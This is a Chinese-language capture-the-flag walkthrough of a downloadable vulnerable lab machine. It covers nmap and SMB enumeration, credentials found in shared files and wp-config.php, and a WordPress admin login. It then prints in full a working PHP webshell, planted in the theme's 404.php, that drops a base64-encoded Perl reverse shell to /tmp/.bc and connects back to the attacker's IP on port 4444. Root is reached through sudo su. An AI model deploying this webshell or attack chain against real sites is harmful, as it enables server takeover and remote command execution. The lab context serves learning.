靶机下载链接: https://pan.baidu.com/s/1MMkgaYLRc78YX4s6nvqdjQ 提取码: djpm
- 信息收集
查看kali的IP
使用nmap 192.168.101.0/24 探测靶机IP
发现开放445端口,并且开放的服务microsoft-ds。可以用enum4linux工具来扫描共享文件,使用方法: enum4linux 192.168.101.103
允许空的账号密码访问
共享文件夹名字
windows访问共享文件:\\192.168.101.103\文件夹名称
打开deets.txt文件的的时候发现了一个密码,内容如下:
知识介绍:WordPress是使用PHP语言开发的博客平台,用户可以在支持PHP和MySQL数据库的服务器上架设属于自己的网站。也可以把 WordPress当作一个内容管理系统(CMS)来使用。
在word press/wp-config.php文件里面发现了一套数据库的用户密码
该靶机开放了80端口,访问一下http://192.168.101.103看看能不能访问
可以访问192.168.101.103,先dirb扫描一下看看该网站都有哪些目录,使用方法:dirb http://192.168.101.103
发现了几个可以用的网址
二、Wordpress获取主机权限
1. Wordpress登录地址。http://192.168.101.103/wordpress/wp-admin
已经成功用刚才收集到的用户名密码登录到管理的后台
2.修改404页面,写入webshell。Appearnce——editor——404.php。目的是将webshell.php源码拷贝到404.php
Webshell.php源码
<?php
function which($pr) {
$path = execute("which $pr");
return ($path ? $path : $pr);
}
function execute($cfe) {
$res = '';
if ($cfe) {
if(function_exists('exec')) {
@exec($cfe,$res);
$res = join("\n",$res);
} elseif(function_exists('shell_exec')) {
$res = @shell_exec($cfe);
} elseif(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = '';
while(!@feof($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function cf($fname,$text){
if($fp=@fopen($fname,'w')) {
@fputs($fp,@base64_decode($text));
@fclose($fp);
}
}
$yourip = "192.168.101.10"; 注意这里是kali的IP
$yourport = '4444';
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?>
3.访问404页面,反向链接:(前面是先在控制端开启监听),然后访问http://192.168.101.103/wordpress/wp-content/themes/twentyfifteen/404.php
监听方法 nc -lvvp 4444
优化命令执行终端,执行下面命令进入python交互式(注意要下载python环境才能运行):
查看/home下面有什么用户,尝试之前的信息收集收到的密码,成功登录togie
三、提权
查看togie有啥权限,用sudo su获取root权限
拿到flag